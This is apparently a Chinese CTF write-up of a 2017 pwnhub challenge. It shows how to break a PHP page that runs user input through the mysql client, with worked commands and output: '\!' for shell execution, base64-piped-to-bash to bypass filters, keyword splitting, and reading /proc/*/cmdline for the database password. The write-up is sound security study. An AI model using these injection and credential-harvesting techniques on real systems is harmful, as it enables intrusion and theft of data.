sky's blog

2017 pwnhub成功就是要梭哈之学习记录

字数统计: 1,771阅读时长: 9 min
2017/12/14 Share

前记

pwnhub前几天出了个公开赛,赛后学习了下writeup,又有新的收获

题目

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
highlight_file('index.txt');
$url = "https://sqlchop.chaitin.cn/demo/detect/";
$sqlque = 'select 1 from dual where 1=';
if(isset($_GET['a']))
$payload = str_replace(';','',(string)$_GET['a']);
else
$payload = '1';
$postd = array('type'=>'body','content_type'=>'application/x-www-form-urlencoded','payload'=>urlencode($payload));
$post_data = json_encode($postd);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS,$post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: ' . strlen($post_data))
);
$result = curl_exec($ch);
$arr = json_decode($result,true);
if(!array_key_exists('attack',$arr)||$arr['attack']>0)
die('error!');
if(preg_match('/from|@|information_schema|\./is',$payload))
die('hacker?');
$sql = "mysql -u****** -p****** -e ".escapeshellarg($sqlque.$payload);
exec($sql,$aa);
var_dump($aa);
?>

源码分析

题目大体原理如下:
1.我们传入点在$a变量
2.传入值后,会被过滤;
3.然后被json编码传入https://sqlchop.chaitin.cn/demo/detect/进行检测
4.将检测结果传回来,再进行json解码
5.如果解码后发现attack不存在(因为不可能不存在,无危险是0,不存在是伪造了),或者检测到attack>0,就直接die
6.如果没有检测到attack,则进一步过滤from,@,information_achema,.这些字符
7.如果检测到上述危险字符则die
8.如果没有检测到,则将payload与select 1 from dual where 1=进行拼接,然后执行命令
9.然后打印出命令执行的结果

攻击方式

前引知识

这里用到的第一个点,是Mysql的相关命令
如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@iZ2zedjjczi6xq672y57b4Z:~# mysql -uroot -p你的密码 -e "\h"
mysql: [Warning] Using a password on the command line interface can be insecure.
? (\?) Synonym for `help'.
clear (\c) Clear the current input statement.
connect (\r) Reconnect to the server. Optional arguments are db and host.
delimiter (\d) Set statement delimiter.
edit (\e) Edit command with $EDITOR.
ego (\G) Send command to mysql server, display result vertically.
exit (\q) Exit mysql. Same as quit.
go (\g) Send command to mysql server.
help (\h) Display this help.
nopager (\n) Disable pager, print to stdout.
notee (\t) Don't write into outfile.
pager (\P) Set PAGER [to_pager]. Print the query results via PAGER.
print (\p) Print current command.
prompt (\R) Change your mysql prompt.
quit (\q) Quit mysql.
rehash (\#) Rebuild completion hash.
source (\.) Execute an SQL script file. Takes a file name as an argument.
status (\s) Get status information from the server.
system (\!) Execute a system shell command.
tee (\T) Set outfile [to_outfile]. Append everything into given outfile.
use (\u) Use another database. Takes database name as argument.
charset (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets.
warnings (\W) Show warnings after every statement.
nowarning (\w) Don't show warnings after every statement.

这里我们这次比赛用到的几个点:

1
2
3
4
5
clear     (\c) Clear the current input statement.
delimiter (\d) Set statement delimiter.
use (\u) Use another database. Takes database name as argument.
nopager (\n) Disable pager, print to stdout.
system (\!) Execute a system shell command.

这里简单说一下:

1
2
3
4
5
\c:清除之前的sql语句 (用来清除之前没用的sql语句影响)
\d:指定sql分割符号(用来绕过;过滤)
\n:关闭页面设置,可以在任何位置,例如sel\nect(用来绕过关键词过滤)
\u:可以指定一个数据库 (用来查表)
\!:可以执行linux bash命令 (用来执行命令)

攻击第一步

所以这里的第一步攻击就很明显了:

1
a = \! ls -l

即拼接后得到:

1
mysql -u****** -p****** -e "\! ls -l"

我们在linux下试试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@iZ2zedjjczi6xq672y57b4Z:~# mysql -uroot -p你的密码 -e "\! ls -al"
mysql: [Warning] Using a password on the command line interface can be insecure.
total 48
drwx------ 5 root root 4096 Dec 14 21:42 .
drwxr-xr-x 22 root root 4096 Dec 12 14:56 ..
-rw------- 1 root root 3089 Dec 14 13:53 .bash_history
-rw-r--r-- 1 root root 3106 Oct 23 2015 .bashrc
drwx------ 3 root root 4096 Aug 17 15:47 .cache
-rw------- 1 root root 758 Dec 14 21:42 .mysql_history
drwxr-xr-x 2 root root 4096 Aug 17 15:47 .pip
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 64 Aug 17 15:47 .pydistutils.cfg
drwx------ 2 root root 4096 Dec 12 14:56 .ssh
-rw------- 1 root root 5614 Dec 14 13:40 .viminfo

没错,可以成功执行命令,于是乎利用这一点可以成功的进行反弹shell
但是反弹shell里被过滤了.,应该怎么处理呢?
这里我们选择用base64编码的方式绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@iZ2zedjjczi6xq672y57b4Z:~# echo 'bHMgLWFsCg=='| base64 -d
ls -al
root@iZ2zedjjczi6xq672y57b4Z:~# echo 'bHMgLWFsCg=='| base64 -d |bash
total 48
drwx------ 5 root root 4096 Dec 14 21:42 .
drwxr-xr-x 22 root root 4096 Dec 12 14:56 ..
-rw------- 1 root root 3089 Dec 14 13:53 .bash_history
-rw-r--r-- 1 root root 3106 Oct 23 2015 .bashrc
drwx------ 3 root root 4096 Aug 17 15:47 .cache
-rw------- 1 root root 758 Dec 14 21:42 .mysql_history
drwxr-xr-x 2 root root 4096 Aug 17 15:47 .pip
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 64 Aug 17 15:47 .pydistutils.cfg
drwx------ 2 root root 4096 Dec 12 14:56 .ssh
-rw------- 1 root root 5614 Dec 14 13:40 .viminfo

如果我们将这里的ls -al换成其他反弹shell的命令,就可以成功绕过.的过滤,反弹shell

弹完shell并没有找到想要的东西,最后在端口中发现了问题
netstat -ant
发现开启了一个8888端口,上面挂了服务
于是

1
2
nc 127.0.0.1 8888
input key:

可以发现需要输入key,然后我们在/home/ubuntu下发现了flag文件
里面有hint: the key is in database
于是得知Key在数据库里

攻击第二步

那么如何去查询数据库呢?
这里有2种方法
1.直接得到数据库密码,进库直接查看
2.利用Sql注入
先是第一种方法:
这里用到一个命令,可以拿到数据库连接串

1
cat /proc/*/cmdline

拼接后得到:

1
mysql -uroot -p你的密码 -e "\! cat /proc/*/cmdline"

可以在网页中得到回显(注意:好像在命令行里不会显示?喵喵喵?)

1
root@pts/0/lib/systemd/systemd--user(sd-pam)-bashmysql-uroot-p你的密码-e\! cat /proc/*/cmdlinesh-c

然后即可得到数据库密码……直接查看即可得到key
第二种注入方法:
利用\c清除之前的sql语句
于是构造:

1
\c show databases

可以得到回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@iZ2zedjjczi6xq672y57b4Z:~# mysql -uroot -p你的密码 -e "\c show databases"
mysql: [Warning] Using a password on the command line interface can be insecure.
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| phpmyadmin |
| skysql |
| sys |
| web1 |
+--------------------+

故可以得到数据库的所有库名
然后继续查询:
利用指令:

1
\c show tables \u web1

从而指定库名为web1(因为是自己复现,所以随便挑了个库)

1
2
3
4
5
6
7
8
9
root@iZ2zedjjczi6xq672y57b4Z:~# mysql -uroot -p你的密码 -e "\c show tables \u web1"
mysql: [Warning] Using a password on the command line interface can be insecure.
+----------------+
| Tables_in_web1 |
+----------------+
| article |
| key |
| users |
+----------------+

然后继续查表

1
2
3
4
5
6
7
root@iZ2zedjjczi6xq672y57b4Z:~# mysql -uroot -p你的密码 -e "\c select * from users \u web1"
mysql: [Warning] Using a password on the command line interface can be insecure.
+------+----------+----------------------------------+
| id | username | password |
+------+----------+----------------------------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 |
+------+----------+----------------------------------+

即可获取库内信息,也就是可以获得我们的key,然后拿到那个key值,输入到8888的input即可拿到flag
注意:这里的from被过滤了,我们可以用fr\nom来绕过

后记

姿势涨了不少,第一次做这样的注入,很有趣,打开了新世界大门2333333333

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前记
  2. 2. 题目
  3. 3. 源码分析
  4. 4. 攻击方式
    1. 4.1. 前引知识
    2. 4.2. 攻击第一步
    3. 4.3. 攻击第二步
  5. 5. 后记